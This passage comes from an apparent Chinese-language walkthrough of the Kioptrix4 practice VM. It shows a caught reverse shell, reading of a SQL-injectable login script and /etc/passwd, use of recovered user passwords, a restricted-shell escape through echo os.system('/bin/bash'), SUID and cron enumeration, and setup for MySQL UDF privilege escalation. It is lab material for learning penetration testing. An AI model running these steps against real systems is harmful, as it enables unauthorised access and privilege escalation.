└─$ sudo nc -lvnp 444
[sudo] password for kali:
listening on [any] 444 ...
connect to [192.1.1.128] from (UNKNOWN) [192.1.1.135] 42255
$ whoami
whoami
www-data
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
www-data@Kioptrix4:/var/www$ export TERM=xterm-color
export TERM=xterm-color
www-data@Kioptrix4:/var/www$ ls -liah
ls -liah
total 52K
147833 drwxr-xr-x 5 root root 4.0K Jul 15 18:31 .
138721 drwxr-xr-x 14 root root 4.0K Feb 4 2012 ..
148551 -rw-r--r-- 1 root root 1.5K Feb 6 2012 checklogin.php
148370 -rw-r--r-- 1 root root 298 Feb 4 2012 database.sql
155045 drwxr-xr-x 2 root root 4.0K Feb 6 2012 images
148550 -rw-r--r-- 1 root root 1.3K Feb 6 2012 index.php
155041 drwxr-xr-x 2 root root 4.0K Feb 4 2012 john
148552 -rw-r--r-- 1 root root 176 Feb 4 2012 login_success.php
148553 -rw-r--r-- 1 root root 78 Feb 4 2012 logout.php
148555 -rw-r--r-- 1 root root 606 Feb 6 2012 member.php
155042 drwxr-xr-x 2 root root 4.0K Feb 4 2012 robert
148677 -rw-rw-rw- 1 root root 885 Jul 15 18:31 tmpbhprh.php
148676 -rw-rw-rw- 1 root root 719 Jul 15 18:31 tmpupkhq.php

提权

成功反弹 shell,简单看了下当前目录,尝试对各个目录和文件进行查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
www-data@Kioptrix4:/var/www$ cat checklogin.php
cat checklogin.php
<?php
ob_start();
$host="localhost"; // Host name
$username="root"; // Mysql username
$password=""; // Mysql password
$db_name="members"; // Database name
$tbl_name="members"; // Table name

// Connect to server and select databse.
mysql_connect("$host", "$username", "$password")or die("cannot connect");
mysql_select_db("$db_name")or die("cannot select DB");

// Define $myusername and $mypassword
$myusername=$_POST['myusername'];
$mypassword=$_POST['mypassword'];

// To protect MySQL injection (more detail about MySQL injection)
$myusername = stripslashes($myusername);
//$mypassword = stripslashes($mypassword);
$myusername = mysql_real_escape_string($myusername);
//$mypassword = mysql_real_escape_string($mypassword);

//$sql="SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'";
$result=mysql_query("SELECT * FROM $tbl_name WHERE username='$myusername' and password='$mypassword'");
//$result=mysql_query($sql);

// Mysql_num_row is counting table row
$count=mysql_num_rows($result);
// If result matched $myusername and $mypassword, table row must be 1 row

if($count!=0){
// Register $myusername, $mypassword and redirect to file "login_success.php"
session_register("myusername");
session_register("mypassword");
header("location:login_success.php?username=$myusername");
}
else {
echo "Wrong Username or Password";
print('<form method="link" action="index.php"><input type=submit value="Try Again"></form>');
}

ob_end_flush();
?>

拿到了数据库的密码(没有密码),结合刚才 SQL 注入拿到的密码,可以尝试 ssh 登录或者 su 切换用户,看一眼/etc/passwd 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
www-data@Kioptrix4:/home$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
mysql:x:104:108:MySQL Server,,,:/var/lib/mysql:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
loneferret:x:1000:1000:loneferret,,,:/home/loneferret:/bin/bash
john:x:1001:1001:,,,:/home/john:/bin/kshell
robert:x:1002:1002:,,,:/home/robert:/bin/kshell

有 john 和 robert 两个用户使用 robert:ADGAdsafdfwt4gadfga==, john:MyNameIsJohn

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
www-data@Kioptrix4:/home$ su john
su john
Password: MyNameIsJohn

== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don\'t screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ su robert
su robert
*** unknown command: su
john:~$ exit
exit
www-data@Kioptrix4:/home$ su robert
su robert
Password: ADGAdsafdfwt4gadfga==

== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don\'t screw up
Type '?' or 'help' to get the list of allowed commands
robert:~$ id
id
*** unknown command: id
robert:~$ whoami
whoami

是受限的 shell 啊,那就先回到 www-data的用户里 ,简单的信息收集后再看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@Kioptrix4:/home/john$ cat .lhistory
cat .lhistory
?
help
echo os.system('/bin/bash')
exit
su
sudo
?
scp
touch hello
help
ls /root
exit
echo os.system('/bin/bash')
exit
su robert
exit

发现了一个命令 echo os.system('/bin/bash'),感觉可以绕过受限的 shell,这次用 ssh 登录吧,交互性更好一点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(kali㉿kali)-[~/Downloads/Kioptrix4]
└─$ ssh john@192.1.1.135 -oHostKeyAlgorithms=ssh-rsa
The authenticity of host '192.1.1.135 (192.1.1.135)' can\'t be established.
RSA key fingerprint is SHA256:3fqlLtTAindnY7CGwxoXJ9M2rQF6nn35SFMTVv56lww.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.1.1.135' (RSA) to the list of known hosts.
john@192.1.1.135\'s password:
Welcome to LigGoat Security Systems - We are Watching
== Welcome LigGoat Employee ==
LigGoat Shell is in place so you don\'t screw up
Type '?' or 'help' to get the list of allowed commands
john:~$ ?
cd clear echo exit help ll lpath ls
john:~$ echo os.system('/bin/bash')
john@Kioptrix4:~$ whoami
john

继续信息收集,寻找提权突破点

1
2
3
4
5
6
7
8
john@Kioptrix4:/$ sudo -l
[sudo] password for john:
Sorry, user john may not run sudo on Kioptrix4.


robert@Kioptrix4:/$ sudo -l
[sudo] password for robert:
Sorry, user robert may not run sudo on Kioptrix4.

两个用户都没有特殊的权限,顺便看了眼 SUID

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
robert@Kioptrix4:~$ find / -type f -perm -04000 -ls 2>/dev/null
98926 12 -rwsr-xr-- 1 root www-data 10276 Jun 18 2009 /usr/lib/apache2/suexec
65689 8 -rwsr-xr-x 1 root root 4588 Aug 22 2008 /usr/lib/eject/dmcrypt-get-device
98543 172 -rwsr-xr-x 1 root root 168340 May 14 2008 /usr/lib/openssh/ssh-keysign
51653 12 -rwsr-xr-x 1 root root 9624 Sep 12 2008 /usr/lib/pt_chown
50863 24 -rwsr-xr-x 1 root root 23952 Dec 8 2008 /usr/bin/chsh
52342 112 -rwsr-xr-x 2 root root 107936 Feb 16 2009 /usr/bin/sudo
53268 16 -rwsr-xr-x 1 root root 12296 Dec 10 2007 /usr/bin/traceroute6.iputils
50694 20 -rwsr-xr-x 1 root root 19144 Dec 8 2008 /usr/bin/newgrp
52342 112 -rwsr-xr-x 2 root root 107936 Feb 16 2009 /usr/bin/sudoedit
50862 28 -rwsr-xr-x 1 root root 28624 Dec 8 2008 /usr/bin/chfn
53266 12 -rwsr-xr-x 1 root root 11048 Dec 10 2007 /usr/bin/arping
50865 40 -rwsr-xr-x 1 root root 37360 Dec 8 2008 /usr/bin/gpasswd
53495 48 -rwsr-xr-x 1 root root 46084 Mar 31 2008 /usr/bin/mtr
50866 32 -rwsr-xr-x 1 root root 29104 Dec 8 2008 /usr/bin/passwd
53056 40 -rwsr-sr-x 1 daemon daemon 38464 Feb 20 2007 /usr/bin/at
53554 268 -rwsr-xr-- 1 root dip 269256 Oct 4 2007 /usr/sbin/pppd
52104 16 -rwsr-sr-x 1 libuuid libuuid 12336 Mar 27 2008 /usr/sbin/uuidd
81744 4 -rwsr-xr-- 1 root dhcp 2960 Apr 2 2008 /lib/dhcp3-client/call-dhclient-script
40836 84 -rwsr-xr-x 1 root root 81368 Sep 26 2008 /bin/mount
40860 28 -rwsr-xr-x 1 root root 26684 Dec 10 2007 /bin/ping6
40896 20 -rwsr-xr-- 1 root fuse 20056 Feb 26 2008 /bin/fusermount
40833 28 -rwsr-xr-x 1 root root 25540 Dec 8 2008 /bin/su
40859 32 -rwsr-xr-x 1 root root 30856 Dec 10 2007 /bin/ping
40837 68 -rwsr-xr-x 1 root root 63584 Sep 26 2008 /bin/umount
148300 12 -rwsr-xr-x 1 root root 9260 Mar 9 2009 /sbin/umount.cifs
148299 24 -rwsr-xr-x 1 root root 23340 Mar 9 2009 /sbin/mount.cifs

suexec 没见过,搜了一下,但是似乎没法用来提权,定时任务也看了一下,空空如也

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
www-data@Kioptrix4:/home/john$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

ps auxnetstat ano,发现 MySQL 是 root 进程

1
2
3
4
john@Kioptrix4:~$ ps aux | grep mysql
ps aux | grep mysql
root 5015 0.0 0.5 130348 21380 ? Sl Jul15 0:07 /usr/sbin/mysql

还有一个细节,网站目录有两个 sqlmap 为了 os-shell 而写入的文件,属主是 root,或许可以尝试 UDF 提权,登录 MySQL 看看满不满足导入导出无限制的条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
www-data@Kioptrix4:/var/www$ mysql -uroot
mysql -uroot
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 7639
Server version: 5.0.51a-3ubuntu5.4 (Ubuntu)

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql> show global variables like '%secure_file_priv%';
show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.00 sec)

应该是满足条件的,看看安装目录吧

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select @@basedir;
select @@basedir;
+-----------+
| @@basedir |
+-----------+
| /usr/ |
+-----------+
1 row in set (0.00 sec)

mysql> show variables like '%plugin%';
show variables like '%plugin%';
Empty set (0.00 sec)

淦,这个情况没见过,根据以前学到的 UDF 提权,按理说首先看安装目录,然后在 /lib/plugin 目录中写入 udf 的动态链接库。而网上的教程里,插件目录是必备的一步……在这里卡了很久,因为这里的 lib 目录是 root 才可写,我没法创建文件,查了很多中文教程,都没有很好的解决办法。甚至于我去尝试了内核提权,因为这个靶机的版本比较低,应该是支持脏牛漏洞提权的,不过由于 gcc 被扣掉了,而且是 32 位系统,在找可执行的 exploit 时遇到了很多困难,没有利用成功。

MySQL UDF 提权

最后看 lib 下的文件的时候,意外看到了个 lib_mysqludf_sys.so

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
www-data@Kioptrix4:/usr/lib$ ls -liah
ls -liah
total 19M
49005 drwxr-xr-x 43 root root 12K Feb 4 2012 .
48961 drwxr-xr-x 10 root root 4.0K Feb 4 2012 ..
51463 -rw-r--r-- 1 root root 8.5K Dec 13 2007 GNU.Gettext.dll
98857 drwxr-xr-x 3 root root 4.0K Feb 4 2012 apache2
57837 drwxr-xr-x 3 root root 4.0K Feb 4 2012 apt
98856 drwxr-xr-x 2 root root 4.0K Jun 18 2009 cgi-bin
53145 -rwxr-xr-x 1 root root 1.7K Apr 11 2008 command-not-found
75725 drwxr-xr-x 3 root root 4.0K Feb 4 2012 cups
49867 drwxr-xr-x 3 root root 4.0K Feb 4 2012 dpkg
48995 -rwxr-xr-x 1 root root 7.3K Mar 27 2008 e2initrd_helper
65688 drwxr-xr-x 2 root root 4.0K Feb 4 2012 eject
91447 drwxr-xr-x 3 root root 4.0K Feb 4 2012 gcc
49948 drwxr-xr-x 2 root root 20K Feb 4 2012 gconv
65741 drwxr-xr-x 2 root root 4.0K Feb 4 2012 gnupg
98100 drwxr-xr-x 3 root root 4.0K Feb 4 2012 groff
75769 drwxr-xr-x 3 root root 4.0K Feb 4 2012 grub
65948 drwxr-xr-x 2 root root 4.0K Feb 4 2012 i486
50194 drwxr-xr-x 2 root root 4.0K Sep 12 2008 i486-linux-gnu
65951 drwxr-xr-x 2 root root 4.0K Feb 4 2012 i586
65954 drwxr-xr-x 3 root root 4.0K Feb 4 2012 i686
65350 drwxr-xr-x 3 root root 4.0K Feb 4 2012 initramfs-tools
65826 drwxr-xr-x 3 root root 4.0K Feb 4 2012 klibc
65866 drwxr-xr-x 3 root root 4.0K Feb 4 2012 krb5
52625 -rw-rw-rw- 1 root root 13K Feb 4 2012 lib_mysqludf_sys.so
53614 lrwxrwxrwx 1 root root 18 Feb 4 2012 libapr-1.so.0 -> libapr-1.so.0.2.11
53613 -rw-r--r-- 1 root root 144K Nov 23 2007 libapr-1.so.0.2.11
53618 lrwxrwxrwx 1 root root 22 Feb 4 2012 libaprutil-1.so.0 -> libaprutil-1.so.0.2.11
53617 -rw-r--r-- 1 root root 102K Jun 9 2009 libaprutil-1.so.0.2.11
51163 lrwxrwxrwx 1 root root 30 Feb 4 2012 libapt-inst-libc6.7-6.so.1.1 -> libapt-inst-libc6.7-6.so.1.1.0
51153 -rw-r--r-- 1 root root 73K Apr 17 2009 libapt-inst-libc6.7-6.so.1.1.0
51313 lrwxrwxrwx 1 root root 29 Feb 4 2012 libapt-pkg-libc6.7-6.so.4.6 -> libapt-pkg-libc6.7-6.so.4.6.0
51170 -rw-r--r-- 1 root root 827K Apr 17 2009 libapt-pkg-libc6.7-6.so.4.6.0
51470 lrwxrwxrwx 1 root root 20 Feb 4 2012 libasprintf.so.0 -> libasprintf.so.0.0.0
51464 -rw-r--r-- 1 root root 5.6K Dec 13 2007 libasprintf.so.0.0.0
53086 lrwxrwxrwx 1 root root 18 Feb 4 2012 libbind9.so.30 -> libbind9.so.30.1.0
53085 -rw-r--r-- 1 root root 36K Jan 7 2009 libbind9.so.30.1.0
53670 lrwxrwxrwx 1 root root 24 Feb 4 2012 libck-connector.so.0 -> libck-connector.so.0.0.0
53669 -rw-r--r-- 1 root root 9.0K Mar 21 2008 libck-connector.so.0.0.0
52098 -rw-r--r-- 1 root root 1.3M Jun 11 2009 libcrypto.so.0.9.8
53671 -rw-r--r-- 1 root root 202K Jun 1 2009 libcups.so.2
51410 lrwxrwxrwx 1 root root 19 Feb 4 2012 libcurl-gnutls.so.3 -> libcurl-gnutls.so.4
51409 lrwxrwxrwx 1 root root 23 Feb 4 2012 libcurl-gnutls.so.4 -> libcurl-gnutls.so.4.0.1
51407 -rw-r--r-- 1 root root 225K Mar 2 2009 libcurl-gnutls.so.4.0.1
51412 lrwxrwxrwx 1 root root 19 Feb 4 2012 libcwidget.so.3 -> libcwidget.so.3.0.0
51411 -rw-r--r-- 1 root root 968K Feb 8 2008 libcwidget.so.3.0.0
49094 -rw-r--r-- 1 root root 1.2M Mar 10 2008 libdb-4.6.so
51416 lrwxrwxrwx 1 root root 18 Feb 4 2012 libdbus-1.so.3 -> libdbus-1.so.3.4.0
51415 -rw-r--r-- 1 root root 210K Oct 14 2008 libdbus-1.so.3.4.0
51543 lrwxrwxrwx 1 root root 16 Feb 4 2012 libdes425.so.3 -> libdes425.so.3.0
51536 -rw-r--r-- 1 root root 9.9K Apr 7 2009 libdes425.so.3.0
53080 lrwxrwxrwx 1 root root 16 Feb 4 2012 libdns.so.35 -> libdns.so.35.0.1
53079 -rw-r--r-- 1 root root 1.2M Jan 7 2009 libdns.so.35.0.1
53275 lrwxrwxrwx 1 root root 14 Feb 4 2012 libedit.so.2 -> libedit.so.2.9
53274 -rw-r--r-- 1 root root 107K Oct 24 2007 libedit.so.2.9
53277 lrwxrwxrwx 1 root root 15 Feb 4 2012 libelf.so.0 -> libelf.so.0.8.6
53278 lrwxrwxrwx 1 root root 15 Feb 4 2012 libelf.so.0.8 -> libelf.so.0.8.6
53276 -rw-r--r-- 1 root root 75K Oct 2 2007 libelf.so.0.8.6
53000 lrwxrwxrwx 1 root root 17 Feb 4 2012 libexpat.so.1 -> libexpat.so.1.5.2
52999 -rw-r--r-- 1 root root 129K Dec 5 2007 libexpat.so.1.5.2
49825 lrwxrwxrwx 1 root root 14 Feb 4 2012 libform.so.5 -> libform.so.5.6
49813 -rw-r--r-- 1 root root 46K Feb 23 2008 libform.so.5.6
52086 lrwxrwxrwx 1 root root 15 Feb 4 2012 libformw.so.5 -> libformw.so.5.6
52083 -rw-r--r-- 1 root root 52K Feb 23 2008 libformw.so.5.6
51447 lrwxrwxrwx 1 root root 19 Feb 4 2012 libfribidi.so.0 -> libfribidi.so.0.0.0
51445 -rw-r--r-- 1 root root 53K Feb 1 2008 libfribidi.so.0.0.0
53281 lrwxrwxrwx 1 root root 14 Feb 4 2012 libgc.so.1 -> libgc.so.1.0.2
53279 -rw-r--r-- 1 root root 144K Dec 5 2007 libgc.so.1.0.2
53282 lrwxrwxrwx 1 root root 17 Feb 4 2012 libgccpp.so.1 -> libgccpp.so.1.0.2
53280 -rw-r--r-- 1 root root 3.4K Dec 5 2007 libgccpp.so.1.0.2
52642 lrwxrwxrwx 1 root root 16 Feb 4 2012 libgdbm.so.3 -> libgdbm.so.3.0.0
52640 -rw-r--r-- 1 root root 19K Jun 15 2006 libgdbm.so.3.0.0
52643 lrwxrwxrwx 1 root root 23 Feb 4 2012 libgdbm_compat.so.3 -> libgdbm_compat.so.3.0.0
52641 -rw-r--r-- 1 root root 6.1K Jun 15 2006 libgdbm_compat.so.3.0.0
51490 lrwxrwxrwx 1 root root 25 Feb 4 2012 libgnutls-extra.so.13 -> libgnutls-extra.so.13.9.1
51487 -rw-r--r-- 1 root root 52K Feb 20 2009 libgnutls-extra.so.13.9.1
51491 lrwxrwxrwx 1 root root 27 Feb 4 2012 libgnutls-openssl.so.13 -> libgnutls-openssl.so.13.9.1
51488 -rw-r--r-- 1 root root 41K Feb 20 2009 libgnutls-openssl.so.13.9.1
51489 lrwxrwxrwx 1 root root 19 Feb 4 2012 libgnutls.so.13 -> libgnutls.so.13.9.1
51486 -rw-r--r-- 1 root root 474K Feb 20 2009 libgnutls.so.13.9.1
53284 lrwxrwxrwx 1 root root 16 Feb 4 2012 libgpm.so.1 -> libgpm.so.1.19.6
53283 -rw-r--r-- 1 root root 19K Feb 2 2008 libgpm.so.1.19.6
51544 lrwxrwxrwx 1 root root 21 Feb 4 2012 libgssapi_krb5.so.2 -> libgssapi_krb5.so.2.2
51537 -rw-r--r-- 1 root root 164K Apr 7 2009 libgssapi_krb5.so.2.2
51565 -rw-r--r-- 1 root root 801 Oct 24 2007 libidn.la
51566 lrwxrwxrwx 1 root root 17 Feb 4 2012 libidn.so.11 -> libidn.so.11.5.30
51564 -rw-r--r-- 1 root root 193K Oct 24 2007 libidn.so.11.5.30
53078 lrwxrwxrwx 1 root root 16 Feb 4 2012 libisc.so.35 -> libisc.so.35.0.0
53077 -rw-r--r-- 1 root root 272K Jan 7 2009 libisc.so.35.0.0
53082 lrwxrwxrwx 1 root root 18 Feb 4 2012 libisccc.so.30 -> libisccc.so.30.0.1
53081 -rw-r--r-- 1 root root 26K Jan 7 2009 libisccc.so.30.0.1
53084 lrwxrwxrwx 1 root root 19 Feb 4 2012 libisccfg.so.30 -> libisccfg.so.30.0.4
53083 -rw-r--r-- 1 root root 70K Jan 7 2009 libisccfg.so.30.0.4
51545 lrwxrwxrwx 1 root root 18 Feb 4 2012 libk5crypto.so.3 -> libk5crypto.so.3.1
51538 -rw-r--r-- 1 root root 140K Apr 7 2009 libk5crypto.so.3.1
51546 lrwxrwxrwx 1 root root 14 Feb 4 2012 libkrb4.so.2 -> libkrb4.so.2.0
51539 -rw-r--r-- 1 root root 89K Apr 7 2009 libkrb4.so.2.0
51547 lrwxrwxrwx 1 root root 14 Feb 4 2012 libkrb5.so.3 -> libkrb5.so.3.3
51540 -rw-r--r-- 1 root root 560K Apr 7 2009 libkrb5.so.3.3
51548 lrwxrwxrwx 1 root root 21 Feb 4 2012 libkrb5support.so.0 -> libkrb5support.so.0.1
51541 -rw-r--r-- 1 root root 27K Apr 7 2009 libkrb5support.so.0.1
52095 lrwxrwxrwx 1 root root 20 Feb 4 2012 liblber-2.4.so.2 -> liblber-2.4.so.2.0.5
52092 -rw-r--r-- 1 root root 48K Mar 31 2009 liblber-2.4.so.2.0.5
52097 lrwxrwxrwx 1 root root 18 Feb 4 2012 libldap-2.4.so.2 -> libldap_r-2.4.so.2
52096 lrwxrwxrwx 1 root root 22 Feb 4 2012 libldap_r-2.4.so.2 -> libldap_r-2.4.so.2.0.5
52093 -rw-r--r-- 1 root root 246K Mar 31 2009 libldap_r-2.4.so.2.0.5
53088 lrwxrwxrwx 1 root root 18 Feb 4 2012 liblwres.so.30 -> liblwres.so.30.0.5
53087 -rw-r--r-- 1 root root 64K Jan 7 2009 liblwres.so.30.0.5
51563 lrwxrwxrwx 1 root root 16 Feb 4 2012 liblzo2.so.2 -> liblzo2.so.2.0.0
51562 -rw-r--r-- 1 root root 123K Jun 16 2007 liblzo2.so.2.0.0
53209 lrwxrwxrwx 1 root root 17 Feb 4 2012 libmagic.so.1 -> libmagic.so.1.0.0
53204 -rw-r--r-- 1 root root 68K Jun 5 2009 libmagic.so.1.0.0
49828 lrwxrwxrwx 1 root root 14 Feb 4 2012 libmenu.so.5 -> libmenu.so.5.6
49816 -rw-r--r-- 1 root root 24K Feb 23 2008 libmenu.so.5.6
52087 lrwxrwxrwx 1 root root 15 Feb 4 2012 libmenuw.so.5 -> libmenuw.so.5.6
52084 -rw-r--r-- 1 root root 24K Feb 23 2008 libmenuw.so.5.6
52764 lrwxrwxrwx 1 root root 24 Feb 4 2012 libmysqlclient.so.15 -> libmysqlclient.so.15.0.0
52762 -rw-r--r-- 1 root root 1.9M Nov 14 2008 libmysqlclient.so.15.0.0
52765 lrwxrwxrwx 1 root root 26 Feb 4 2012 libmysqlclient_r.so.15 -> libmysqlclient_r.so.15.0.0
52763 -rw-r--r-- 1 root root 1.9M Nov 14 2008 libmysqlclient_r.so.15.0.0
52089 lrwxrwxrwx 1 root root 17 Feb 4 2012 libnewt.so.0.52 -> libnewt.so.0.52.2
52088 -rw-r--r-- 1 root root 72K Mar 24 2008 libnewt.so.0.52.2
52091 lrwxrwxrwx 1 root root 20 Feb 4 2012 libopencdk.so.10 -> libopencdk.so.10.0.6
52090 -rw-r--r-- 1 root root 136K Dec 3 2007 libopencdk.so.10.0.6
49823 lrwxrwxrwx 1 root root 15 Feb 4 2012 libpanel.so.5 -> libpanel.so.5.6
49811 -rw-r--r-- 1 root root 9.1K Feb 23 2008 libpanel.so.5.6
52085 lrwxrwxrwx 1 root root 16 Feb 4 2012 libpanelw.so.5 -> libpanelw.so.5.6
52082 -rw-r--r-- 1 root root 9.1K Feb 23 2008 libpanelw.so.5.6
53286 lrwxrwxrwx 1 root root 16 Feb 4 2012 libpcap.so.0.8 -> libpcap.so.0.9.8
53285 -rw-r--r-- 1 root root 159K Nov 15 2007 libpcap.so.0.9.8
53660 lrwxrwxrwx 1 root root 17 Feb 4 2012 libpcre.so.3 -> libpcre.so.3.12.1
53656 -rw-r--r-- 1 root root 154K Jul 9 2008 libpcre.so.3.12.1
53661 lrwxrwxrwx 1 root root 22 Feb 4 2012 libpcreposix.so.3 -> libpcreposix.so.3.12.1
53657 -rw-r--r-- 1 root root 5.2K Jul 9 2008 libpcreposix.so.3.12.1
53616 lrwxrwxrwx 1 root root 12 Feb 4 2012 libpq.so.5 -> libpq.so.5.1
53615 -rw-r--r-- 1 root root 125K Apr 6 2009 libpq.so.5.1
52336 lrwxrwxrwx 1 root root 19 Feb 4 2012 libpython2.5.so.1 -> libpython2.5.so.1.0
52328 -rw-r--r-- 1 root root 1.2M Jul 31 2008 libpython2.5.so.1.0
51414 lrwxrwxrwx 1 root root 18 Feb 4 2012 libsasl2.so.2 -> libsasl2.so.2.0.22
51413 -rw-r--r-- 1 root root 88K Jun 23 2009 libsasl2.so.2.0.22
51568 lrwxrwxrwx 1 root root 20 Feb 4 2012 libsigc-2.0.so.0 -> libsigc-2.0.so.0.0.0
51567 -rw-r--r-- 1 root root 20K Apr 3 2008 libsigc-2.0.so.0.0.0
52101 lrwxrwxrwx 1 root root 19 Feb 4 2012 libsqlite3.so.0 -> libsqlite3.so.0.8.6
52100 -rw-r--r-- 1 root root 401K Oct 24 2007 libsqlite3.so.0.8.6
52099 -rw-r--r-- 1 root root 259K Jun 11 2009 libssl.so.0.9.8
49909 lrwxrwxrwx 1 root root 18 Feb 4 2012 libstdc++.so.6 -> libstdc++.so.6.0.9
49908 -rw-r--r-- 1 root root 948K Feb 19 2009 libstdc++.so.6.0.9
52080 lrwxrwxrwx 1 root root 18 Feb 4 2012 libtasn1.so.3 -> libtasn1.so.3.0.12
51680 -rw-r--r-- 1 root root 61K Dec 3 2007 libtasn1.so.3.0.12
52081 lrwxrwxrwx 1 root root 20 Feb 4 2012 libusb-0.1.so.4 -> /lib/libusb-0.1.so.4
53665 lrwxrwxrwx 1 root root 17 Feb 4 2012 libxml2.so.2 -> libxml2.so.2.6.31
53664 -rw-r--r-- 1 root root 1.2M Nov 18 2008 libxml2.so.2.6.31
51050 lrwxrwxrwx 1 root root 15 Feb 4 2012 libz.so.1 -> libz.so.1.2.3.3
51048 -rw-r--r-- 1 root root 80K Nov 15 2007 libz.so.1.2.3.3
49064 drwxr-xr-x 3 root root 4.0K Feb 4 2012 locale
98439 drwxr-xr-x 2 root root 4.0K Feb 4 2012 man-db
49706 drwxr-xr-x 3 root root 4.0K Feb 4 2012 mime
98542 drwxr-xr-x 2 root root 4.0K Feb 4 2012 openssh
66199 drwxr-xr-x 2 root root 4.0K Feb 4 2012 pcmciautils
57122 drwxr-xr-x 3 root root 4.0K Feb 4 2012 perl
50278 drwxr-xr-x 12 root root 4.0K Feb 4 2012 perl5
83589 drwxr-xr-x 4 root root 4.0K Feb 4 2012 php5
98628 drwxr-xr-x 3 root root 4.0K Feb 4 2012 pppd
51653 -rwsr-xr-x 1 root root 9.4K Sep 12 2008 pt_chown
98659 drwxr-xr-x 3 root root 4.0K Feb 4 2012 python-support
98662 drwxr-xr-x 3 root root 4.0K Feb 4 2012 python2.3
49660 drwxr-xr-x 4 root root 4.0K Feb 4 2012 python2.4
49663 drwxr-xr-x 22 root root 16K Feb 4 2012 python2.5
91531 drwxr-xr-x 5 root root 4.0K Feb 4 2012 samba
65616 drwxr-xr-x 2 root root 4.0K Feb 4 2012 sasl2
53677 lrwxrwxrwx 1 root root 19 Feb 4 2012 sftp-server -> openssh/sftp-server
65958 drwxr-xr-x 3 root root 4.0K Feb 4 2012 ssl
66565 drwxr-xr-x 2 root root 4.0K Feb 4 2012 sudo
66580 drwxr-xr-x 5 root root 4.0K Feb 4 2012 tasksel
65808 drwxr-xr-x 2 root root 4.0K Feb 4 2012 tc
66649 drwxr-xr-x 2 root root 4.0K Feb 4 2012 udev
59024 drwxr-xr-x 2 root root 4.0K Feb 4 2012 upstart
66230 drwxr-xr-x 2 root root 4.0K Feb 4 2012 valgrind
98747 drwxr-xr-x 3 root root 4.0K Feb 4 2012 w3m

难不成这里不需要这个步骤了……

1
2
3
4
5
6
7
8
9
mysql> select * from mysql.func;
select * from mysql.func;
+-----------------------+-----+---------------------+----------+
| name | ret | dl | type |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info | 0 | lib_mysqludf_sys.so | function |
| sys_exec | 0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
3 rows in set (0.00 sec)

